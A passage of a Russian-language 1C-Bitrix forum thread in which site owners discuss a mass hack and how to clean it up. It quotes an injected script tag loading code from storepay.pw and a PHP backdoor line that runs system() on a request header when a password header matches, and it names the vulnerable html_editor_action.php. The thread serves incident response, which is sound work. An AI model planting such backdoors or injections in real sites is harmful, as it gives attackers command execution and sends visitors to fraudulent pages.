| Цитата |
|---|
| написал: Нуссс.. ребята. Рад был присутствовать в вашей компашке и по совместительству с 1С -Битрикс. За 2 месяца я написал сайт на WP и перенес все туда. Всем спасибо, всем пока) Битриксу удачи в борьбе с "Дырками". А вам участники форума и коллеги - не падать духом. Да прибудет с вами ROOT! |
|
Разработчикам |
Форум
Взломаны сайты в честь дня конституции украины
Обновление ядра не помогло ранее. |
|||||
|
|
|
|
в prolog и core.js нет вредоносных строк, а код сайта встраивается <sc ript src='https://storepay.pw/jqueryui.js'></sc ript> Где может еще прятаться?
|
|
|
|
|
поиском поищите, либо методом исключения ... уже встроенную рабочую иньекцию думаю найти то можно вообще вот хорошая статья на эту тему (но это от будущих заражений, то что уже заражено нужно самому вычистить). Пишут, что зараза редиректит на фейковый сайт озона - а это попахивает "жареным" т.е. посетители запросто могут там что то приобрести ... Если коротенько * чистим /bitrix/js/main/core/core.js (в конце - строчка начинается с s=document.createElement(script) ) * чистим /bitrix/modules/main/include/prolog.php (в конце - строчка подключения jqueryui.js) * убиваем /bitrix/components/bitrix/main.file.input/main.php (я так понимаю скрипт управления - чтоб проще заливать было что захочешь) * чистим /bitrix/modules/fileman/classes/general/html_editor.php (вырезаем 2 строчки - бэкдор на выполнение system()) "spell_word" => $_SERVER['HTTP_S'] == "bermuda" ? die(system($_SERVER['HTTP_P'])) : "", И if(substr($_POST['bxu_info']['CID'], 0, 7 ) === "default") die(); Внимание! - искать не полностью по вхождению т.к. у меня вместо bermuda было speaker А в следующей статье - как залатать дыры, чтобы такое больше не появлялось, правда боюсь с такой реализацией могут быть проблемы с встроенным html редактором - поэтому думаю правильнее просто обновить Битрикс до актуальной версии.
|
|||||
|
|
|
судя по информации в статьях из предыдущего поста - с большой долей вероятности вас взломали через уязвимость html_editor_action.php - все симптомы взлом "на лицо" на сайте, где в данный момент занимаюсь этой проблемой обнаружил тоже самое "снос" данной папки Вам вообще ничего не даст - это следы взлома, нужно защищать html_editor_action.php либо обновляться |
|||
|
|
|
|
|||
|
|
|
|
|||
|
|
|
|
Да, хотел бы прояснить одну ситуацию: дата изменения файла. Говорите, что файл main.php и прочие были модифицированы последний раз очень давно. Если бы не одно "но". Из PHP дата изменения файла меняется через команду touch(). Эта команда меняет время модификации файла, так называемый mtime. Но она не меняет время изменения статуса файла, т.е. время изменения свойств и метаданных файла, т.е. ctime. В консоли линукса нужно запустить команду stat имя_файла, т.е. например, чтобы посмотреть ctime для файла /bitrix/components/bitrix/main.file.input/main.php, вводим:
В итоге мы получим такую картину:
Это подтвердилось в ситуации, когда я проверял другой файл. 26.12.2022 года была сделана резервная копия сайта и развернута на компе, 27.12.2022 в проверяемом файле появились изменения, но дата изменения этого файла стояла вообще апрелем 2022. На компе же изменений в этом файле не оказалось. И только командой stat смог узнать, что на самом деле файл был изменен 27.12.2022. Так что те, у кого файл датирован то 2019 годом, то еще каким-то, проверьте строку "Change" через команду stat (если, конечно, сами этот файл не трогали). |
|||||||
|
|
|
|
Александр Оносов, спасибо, коллега, что подробно разъяснил этот момент начинающим программистам - мне было лень это писать) Добавлю, что поиск изменённых файлов надо делать с помощью флага ctime, а не mtime:
Перед НГ преступники взломали один интернет-магазин, используя уязвимость bitrix/tools/html_editor_action.php. Пришлось разбираться с этим несколько часов. Если бы директория хранения временных файлов была вынесена за пределы сайта, то у преступника ничего не получилось бы.
Создание и поддержка сайтов:
|
|||
|
|
|
почему Вы так решили? на сколько я понимаю там несколько другой механизм задействован - т.е. /upload/tmp/ это не = директория хранения временных файлов |
||||
|
|
|
|||
